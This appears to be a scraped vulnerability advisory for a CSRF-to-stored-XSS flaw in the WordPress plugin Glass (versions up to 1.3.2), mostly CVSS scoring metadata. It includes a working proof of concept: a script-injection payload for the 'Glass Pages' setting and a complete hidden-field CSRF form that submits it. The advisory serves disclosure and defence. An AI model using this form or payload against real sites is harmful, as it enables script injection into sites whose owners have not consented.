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ABISHEIK MWPEX-ID:DBEA2DC2-83F6-4E70-B044-A68A4C9B9C39

HistoryJun 21, 2021 - 12:00 a.m.

Glass <= 1.3.2 - CSRF to Stored Cross-Site Scripting (XSS)

2021-06-2100:00:00

ABISHEIK M

342

6.1 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

4.3 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:N/C:N/I:P/A:N

JSON

The plugin does not sanitise or escape its “Glass Pages” setting before outputting in a page, leading to a Stored Cross-Site Scripting issue. Furthermore, the plugin did not have CSRF check in place when saving its settings, allowing the issue to be exploited via a CSRF attack.

Add the following payload in the "Glass Pages" setting (/wp-admin/options-general.php?page=glass%2Fglass.php): '><script>alert(/XSS/)</script>

Via CSRF:

<html>
  <body>
    <form action="https://example.com/wp-admin/options-general.php?page=glass/glass.php" method="POST">
      <input type="hidden" name="myrtheGlassDefaultSize" value="4" />
      <input type="hidden" name="myrtheGlassRimPath" value="" />
      <input type="hidden" name="myrtheGlassRimRGB" value="CC6633" />
      <input type="hidden" name="myrtheGlassBackgroundRGB" value="999999" />
      <input type="hidden" name="myrtheGlassMinEnlarge" value="2.0" />
      <input type="hidden" name="myrtheGlassMaxEnlarge" value="100.0" />
      <input type="hidden" name="myrtheGlassDx" value="0" />
      <input type="hidden" name="myrtheGlassDy" value="0" />
      <input type="hidden" name="myrtheGlassOnFrontPage" value="y" />
      <input type="hidden" name="myrtheGlassCategories" value="" />
      <input type="hidden" name="myrtheGlassPages" value="'><script>alert(/XSS/)</script>" />
      <input type="hidden" name="myrtheGlassExcludePlatforms" value="iPod" />
      <input type="hidden" name="update_MyrtheGlassSettings" value="Update Settings" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

6.1 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

4.3 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:N/C:N/I:P/A:N

JSON

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